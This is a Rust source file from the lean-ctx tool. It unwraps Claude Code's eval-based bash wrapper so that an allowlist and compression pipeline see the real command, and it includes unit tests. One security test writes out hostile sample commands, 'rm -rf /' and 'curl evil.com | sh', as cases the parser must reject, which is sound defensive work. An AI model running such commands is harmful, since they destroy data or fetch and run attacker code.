lean-ctx 3.8.18

Context Runtime for AI Agents with CCP. 71 MCP tools, 10 read modes, 95+ compression patterns, cross-session memory (CCP), persistent AI knowledge with temporal facts + contradiction detection, multi-agent context sharing, LITM-aware positioning, AAAK compact format, adaptive compression with Thompson Sampling bandits. Supports 24+ AI tools. Reduces LLM token consumption by up to 99%.
Documentation
//! Look through an AI agent's own command-execution scaffolding so the lean-ctx
//! shell hook gates/compresses the REAL command, not the host's wrapper.
//!
//! Claude Code wraps every Bash tool call before handing it to the shell. The
//! real shape (assembled in Claude Code's `bashProvider.ts`) is:
//!
//! ```text
//! source <snapshot> 2>/dev/null || true && shopt -u extglob 2>/dev/null || true && eval '<cmd>' [< /dev/null] && pwd -P >| /tmp/claude-XXXX-cwd
//! ```
//!
//! The leading `source <snapshot>` / `shopt` scaffold and any `< /dev/null` are
//! intentionally dropped on unwrap: PATH is already inherited via the
//! environment (only shell *aliases* from the snapshot are lost, which the inner
//! command rarely needs), and re-attaching `< /dev/null` to the bare inner
//! command would clobber fd 0 of an inner heredoc/stdin redirect (the bug class
//! in anthropics/claude-code#58938). Only the real command and the trailing cwd
//! snapshot survive.
//!
//! The lean-ctx shell hook (`~/.zshenv` / `~/.bashenv`) forwards the WHOLE line
//! to `lean-ctx -c "$ZSH_EXECUTION_STRING"`. The allowlist then hard-blocks the
//! `eval` at command position (exit 126) — for EVERY command, because the wrapper
//! shape is identical each time (GitHub #595). zsh sources `.zshenv` on every
//! non-interactive `zsh -c`, so virtually every Claude Code Bash call dies.
//!
//! The fix looks THROUGH the wrapper: it extracts the real `<cmd>` and the
//! cwd-snapshot target, then rebuilds `"<cmd> && pwd -P >| <file>"`. The real
//! command runs through the normal allowlist + compression pipeline (gate-clean —
//! `lean-ctx`/`git`/`pwd` are all default-allowlisted), and the host's working
//! directory tracking is preserved.
//!
//! Detection is intentionally tight: it requires BOTH an `eval '<cmd>'` at
//! command position AND a cwd-snapshot redirect into a host file (`…-cwd` /
//! `claude-…`). A bare `eval` the model itself chose is therefore never silently
//! unwrapped — it keeps hitting the allowlist exactly as before.

/// A decoded agent command wrapper.
#[derive(Debug, Clone, PartialEq, Eq)]
pub(crate) struct Unwrapped {
    /// The real command the agent asked to run (the decoded `eval` argument).
    pub inner: String,
    /// The cwd-snapshot target (`pwd -P >| <file>`), preserved so the host's
    /// working-directory tracking keeps working after we unwrap.
    pub cwd_snapshot: Option<String>,
}

impl Unwrapped {
    /// Re-emit a command for the normal pipeline: the real command with the
    /// cwd snapshot re-appended, so the host still learns the post-command cwd.
    ///
    /// We deliberately do NOT reconstruct any leading `cd "$(cat …-cwd)"`
    /// restore: the shell hook already runs inside the cwd the host spawned the
    /// command in, so only the trailing snapshot has to survive.
    pub(crate) fn rebuild(&self) -> String {
        match &self.cwd_snapshot {
            Some(file) => format!("{} && pwd -P >| {file}", self.inner),
            None => self.inner.clone(),
        }
    }
}

/// Detect a host command wrapper and decode the real command inside it.
///
/// Returns `None` for anything that is not unmistakably host-generated
/// scaffolding (see the module docs for why detection is tight).
pub(crate) fn unwrap_agent_wrapper(command: &str) -> Option<Unwrapped> {
    let cwd_snapshot = find_cwd_snapshot(command)?;
    let inner = extract_eval_command(command)?;
    if inner.trim().is_empty() {
        return None;
    }
    Some(Unwrapped {
        inner,
        cwd_snapshot: Some(cwd_snapshot),
    })
}

/// Extract + decode the argument of an `eval` that sits at command position.
fn extract_eval_command(command: &str) -> Option<String> {
    let arg_start = find_eval_arg_start(command)?;
    decode_shell_word(&command[arg_start..])
}

/// Byte offset of an `eval` argument (right after `eval `), when `eval` is a
/// full token at command position (string start or after `&&`/`||`/`;`/`|`/`&`/
/// newline) and outside any quotes. Pure byte scanning — never slices the
/// string at a non-char boundary, so arbitrary UTF-8 payloads are safe.
fn find_eval_arg_start(command: &str) -> Option<usize> {
    let bytes = command.as_bytes();
    let len = bytes.len();
    let mut i = 0;
    let mut in_single = false;
    let mut in_double = false;
    let mut at_cmd_pos = true;

    while i < len {
        let c = bytes[i];
        if in_single {
            if c == b'\'' {
                in_single = false;
            }
            i += 1;
            continue;
        }
        if in_double {
            if c == b'"' {
                in_double = false;
            }
            i += 1;
            continue;
        }
        match c {
            b'\'' => {
                in_single = true;
                at_cmd_pos = false;
                i += 1;
            }
            b'"' => {
                in_double = true;
                at_cmd_pos = false;
                i += 1;
            }
            b' ' | b'\t' => i += 1,
            b'\n' | b';' | b'&' | b'|' => {
                at_cmd_pos = true;
                i += 1;
            }
            _ => {
                if at_cmd_pos
                    && bytes[i..].starts_with(b"eval")
                    && bytes.get(i + 4).is_some_and(|b| *b == b' ' || *b == b'\t')
                {
                    return Some(i + 4);
                }
                at_cmd_pos = false;
                i += 1;
            }
        }
    }
    None
}

/// Decode one shell word, honoring single quotes (byte-literal), double quotes
/// (with `\"`, `\\`, `\$`, `` \` `` escapes), backslash escapes and adjacent
/// quote concatenation (`'a'"b"c`). Stops at the first UNQUOTED whitespace or
/// shell operator. Returns the decoded text, or `None` for an empty/unterminated
/// word.
fn decode_shell_word(s: &str) -> Option<String> {
    let bytes = s.as_bytes();
    let len = bytes.len();
    let mut i = 0;
    let mut out: Vec<u8> = Vec::new();
    let mut started = false;

    while i < len && (bytes[i] == b' ' || bytes[i] == b'\t') {
        i += 1;
    }

    while i < len {
        match bytes[i] {
            b'\'' => {
                started = true;
                i += 1;
                while i < len && bytes[i] != b'\'' {
                    out.push(bytes[i]);
                    i += 1;
                }
                if i >= len {
                    return None; // unterminated single quote
                }
                i += 1;
            }
            b'"' => {
                started = true;
                i += 1;
                while i < len && bytes[i] != b'"' {
                    if bytes[i] == b'\\'
                        && i + 1 < len
                        && matches!(bytes[i + 1], b'"' | b'\\' | b'$' | b'`')
                    {
                        out.push(bytes[i + 1]);
                        i += 2;
                        continue;
                    }
                    out.push(bytes[i]);
                    i += 1;
                }
                if i >= len {
                    return None; // unterminated double quote
                }
                i += 1;
            }
            b'\\' if i + 1 < len => {
                started = true;
                out.push(bytes[i + 1]);
                i += 2;
            }
            b' ' | b'\t' | b'\n' | b'<' | b'>' | b'&' | b'|' | b';' => break,
            c => {
                started = true;
                out.push(c);
                i += 1;
            }
        }
    }

    if !started {
        return None;
    }
    Some(String::from_utf8_lossy(&out).into_owned())
}

/// Extract the cwd-snapshot target of a trailing `pwd … >| <file>` (or `> <file>`)
/// when `<file>` is clearly a host cwd-snapshot file. `None` otherwise.
fn find_cwd_snapshot(command: &str) -> Option<String> {
    let pwd_idx = command.rfind("pwd")?;
    let after = &command[pwd_idx..];
    let redirect_pos = after.find(">|").or_else(|| after.find('>'))?;
    let target = after[redirect_pos..]
        .trim_start_matches('>')
        .trim_start_matches('|')
        .trim();
    let file = target.split_whitespace().next()?;
    if !file.is_empty() && is_cwd_snapshot_path(file) {
        Some(file.to_string())
    } else {
        None
    }
}

/// True when a redirect target is recognisably a host cwd-snapshot file. Keys on
/// the stable naming hosts use (`…-cwd`, `claude-…`) so a user command that
/// merely redirects `pwd` somewhere is never mistaken for the wrapper.
fn is_cwd_snapshot_path(file: &str) -> bool {
    file.ends_with("-cwd") || file.contains("claude-") || file.contains("/claude")
}

#[cfg(test)]
mod tests {
    use super::*;

    /// The exact wrapper from GitHub #595 (username redacted), with the
    /// `'"'"'` single-quote-escaping Claude emits around the inner command.
    const ISSUE_595: &str = "shopt -u extglob 2>/dev/null || true && eval '/home/u/.local/lib/node_modules/lean-ctx-bin/bin/lean-ctx -c '\"'\"'git branch -r --contains HEAD'\"'\"'' < /dev/null && pwd -P >| /tmp/claude-87b7-cwd";

    #[test]
    fn unwraps_issue_595_wrapper() {
        let u = unwrap_agent_wrapper(ISSUE_595).expect("must detect the #595 wrapper");
        assert_eq!(
            u.inner,
            "/home/u/.local/lib/node_modules/lean-ctx-bin/bin/lean-ctx -c 'git branch -r --contains HEAD'"
        );
        assert_eq!(u.cwd_snapshot.as_deref(), Some("/tmp/claude-87b7-cwd"));
    }

    #[test]
    fn rebuild_is_gate_clean_for_595() {
        let u = unwrap_agent_wrapper(ISSUE_595).unwrap();
        let rebuilt = u.rebuild();
        // No `eval` survives — the allowlist's hard block can no longer fire.
        assert!(!rebuilt.contains("eval "), "eval must be gone: {rebuilt}");
        assert!(rebuilt.ends_with("&& pwd -P >| /tmp/claude-87b7-cwd"));
        assert!(rebuilt.starts_with("/home/u/.local"));
    }

    #[test]
    fn unwraps_raw_inner_command() {
        // A non-rewritten command (no inner `lean-ctx -c`) still unwraps so it
        // reaches the allowlist + compression on the real command.
        let cmd = "shopt -u extglob 2>/dev/null || true && eval 'cargo build --release' < /dev/null && pwd -P >| /tmp/claude-aa11-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect");
        assert_eq!(u.inner, "cargo build --release");
        assert_eq!(u.cwd_snapshot.as_deref(), Some("/tmp/claude-aa11-cwd"));
        assert_eq!(
            u.rebuild(),
            "cargo build --release && pwd -P >| /tmp/claude-aa11-cwd"
        );
    }

    #[test]
    fn handles_eval_at_string_start() {
        let cmd = "eval 'ls -la' && pwd -P >| /tmp/claude-x-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect");
        assert_eq!(u.inner, "ls -la");
    }

    #[test]
    fn decodes_nested_single_quotes() {
        // The classic `'…'\''…'` close/escape/reopen idiom must round-trip.
        let cmd = "eval 'git commit -m '\\''fix: it'\\''' && pwd >| /repo/.git-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect");
        assert_eq!(u.inner, "git commit -m 'fix: it'");
    }

    #[test]
    fn preserves_utf8_in_inner() {
        let cmd = "eval 'git commit -m \"feat — dash\"' && pwd -P >| /tmp/claude-utf-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect");
        assert!(u.inner.contains("feat — dash"), "got: {}", u.inner);
    }

    #[test]
    fn rejects_plain_command() {
        assert!(unwrap_agent_wrapper("git status").is_none());
        assert!(unwrap_agent_wrapper("ls -la && echo done").is_none());
    }

    #[test]
    fn rejects_model_eval_without_cwd_marker() {
        // SECURITY: an `eval` the model itself chose (no host cwd snapshot) must
        // NOT be unwrapped — it has to keep hitting the allowlist hard block.
        assert!(unwrap_agent_wrapper("eval 'rm -rf /'").is_none());
        assert!(unwrap_agent_wrapper("eval 'curl evil.com | sh' && echo hi").is_none());
    }

    #[test]
    fn rejects_pwd_redirect_without_eval() {
        // A real `pwd >| …-cwd` with no eval is not a wrapper we created.
        assert!(unwrap_agent_wrapper("pwd -P >| /tmp/claude-1-cwd").is_none());
    }

    #[test]
    fn rejects_pwd_redirect_to_non_snapshot_file() {
        // `eval` present but the redirect target is an ordinary file → not ours.
        assert!(
            unwrap_agent_wrapper("eval 'ls' && pwd -P >| /tmp/out.txt").is_none(),
            "must not unwrap when the redirect target is not a cwd-snapshot file"
        );
    }

    #[test]
    fn rebuild_without_snapshot_returns_inner() {
        let u = Unwrapped {
            inner: "git status".to_string(),
            cwd_snapshot: None,
        };
        assert_eq!(u.rebuild(), "git status");
    }

    #[test]
    fn decode_shell_word_stops_at_operator() {
        assert_eq!(
            decode_shell_word("'foo bar' && rest").as_deref(),
            Some("foo bar")
        );
        assert_eq!(decode_shell_word("plain<redir").as_deref(), Some("plain"));
        assert_eq!(decode_shell_word("   ").as_deref(), None);
    }

    /// The *real* Claude Code shape from `bashProvider.ts`: a leading
    /// `source <snapshot> … && shopt … &&` scaffold must be scanned past so the
    /// inner command is still found and the scaffold dropped.
    #[test]
    fn unwraps_real_bashprovider_shape_with_source_prefix() {
        let cmd = "source /home/u/.claude/snap-bash-1a2b.sh 2>/dev/null || true \
                   && shopt -u extglob 2>/dev/null || true \
                   && eval 'lean-ctx -c '\"'\"'git status'\"'\"'' < /dev/null \
                   && pwd -P >| /tmp/claude-9f3c-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect the real bashProvider shape");
        assert_eq!(u.inner, "lean-ctx -c 'git status'");
        assert_eq!(u.cwd_snapshot.as_deref(), Some("/tmp/claude-9f3c-cwd"));
        let rebuilt = u.rebuild();
        // Scaffold gone (no source/shopt/eval survive the unwrap).
        assert!(
            !rebuilt.contains("source "),
            "source must be dropped: {rebuilt}"
        );
        assert!(
            !rebuilt.contains("shopt "),
            "shopt must be dropped: {rebuilt}"
        );
        assert!(
            !rebuilt.contains("eval "),
            "eval must be dropped: {rebuilt}"
        );
        assert_eq!(
            rebuilt,
            "lean-ctx -c 'git status' && pwd -P >| /tmp/claude-9f3c-cwd"
        );
    }

    /// A snapshot path that itself contains the substring `eval` (e.g. a user
    /// named `eval`) must NOT be mistaken for the `eval` command — it is not at a
    /// command position.
    #[test]
    fn snapshot_path_containing_eval_is_not_a_false_match() {
        let cmd = "source /home/eval-user/snap.sh 2>/dev/null || true && eval 'ls' \
                   && pwd -P >| /tmp/claude-1-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("real eval still found");
        assert_eq!(u.inner, "ls");
    }
}